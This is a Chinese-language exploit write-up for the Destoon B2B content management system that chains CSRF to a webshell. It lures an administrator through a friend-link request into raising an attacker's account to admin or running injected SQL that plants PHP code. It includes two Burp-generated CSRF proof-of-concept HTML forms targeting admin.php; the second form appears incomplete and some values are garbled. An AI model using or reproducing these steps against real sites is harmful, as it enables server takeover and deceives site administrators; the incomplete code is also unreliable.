DESTOON从CSRF到GETSHELL
Destoon B2B网站管理系统是一套完善的B2B(电子商务)行业门户解决方案。系统基于PHP+MySQL开发,采用B/S架构,模板与程序分离,源码开放。模型化的开发思路,可扩展或删除任何功能;创新的缓存技术与数据库设计,可负载不低于百万级别数据容量及访问。系统被数万b2b网站所采用,同时,也有数量巨大的开发者利用该系统进行二次开发。
0x 01 受影响版本以及利用成功的条件
受影响版本官方最新版条件为后台开启SQL功能
*******************************************************************************************
0x 02第一种方式,利用CSRF提升用户权限然后执行管理员操作GETSHELL。
1,首先我们先在前台注册一个用户。这里随便注册,这里注册的用户我们可以提升权限。
2,然后我们构造一个提升我们的会员至管理员的数据包并放置在外部网站上,在友情链接申请处添加一个友链申请,将我们构造好数据包的链接放入,引导管理员查看。
3,在后台管理员进行审核时会查看该链接时我们的会员就变成了管理员。然后此时可以使用下面的方式进行getshell。
0x 03第二种方式,直接使用csrf漏洞来getshell。1,后台打开SQL管理功能时会有如下的操作界面。
2,构造插入shell代码的sql语句然后放置外部网站,通过申请链接功能来使管理员进行访问
3,当管理员查看该链接时,在数据库中便插入了我们的代码。
<html> <!– CSRF PoC – generated by Burp Suite Professional –> <body>
<form action=”http://127.0.0.1/destoon/admin.php?” method=”POST”>
<input type=”hidden” name=”file” value=”database” />
<input type=”hidden” name=”action” value=”execute” />
<input type=”hidden” name=”sql” value=”INSERT INTO destoon_keylink (itemid,title,url,item,listorder)VALUE ('1','<?php phpinfo() ?>','sdd','ds',1)” />
<input type=”hidden” name=”submit” value=”�#137;§ �#161;Œ” />
<input type=”submit” value=”Submit request” />
</form>
</body>
</html>
4,构造我们生成shell页面的数据包,然后同样通过申请友链的方式进行诱使管理员操作。
<html> <!– CSRF PoC – generated by Burp Suite Professional –> <body>
<form action=”http://127.0.0.1/destoon/admin.php?” method=”POST”>
<input type=”hidden” name=”file” value=”database” />
<input type=”hidden” name=”action” value=”execute” />
<input type=”hidden” name=”submit” value=”�#137;§ �#161;Œ” />
<input type=”submit” value=”Submit request” />
</form>
</body>
</html>
5,当管理员访问该链接时,就在服务器端生成了shell脚本。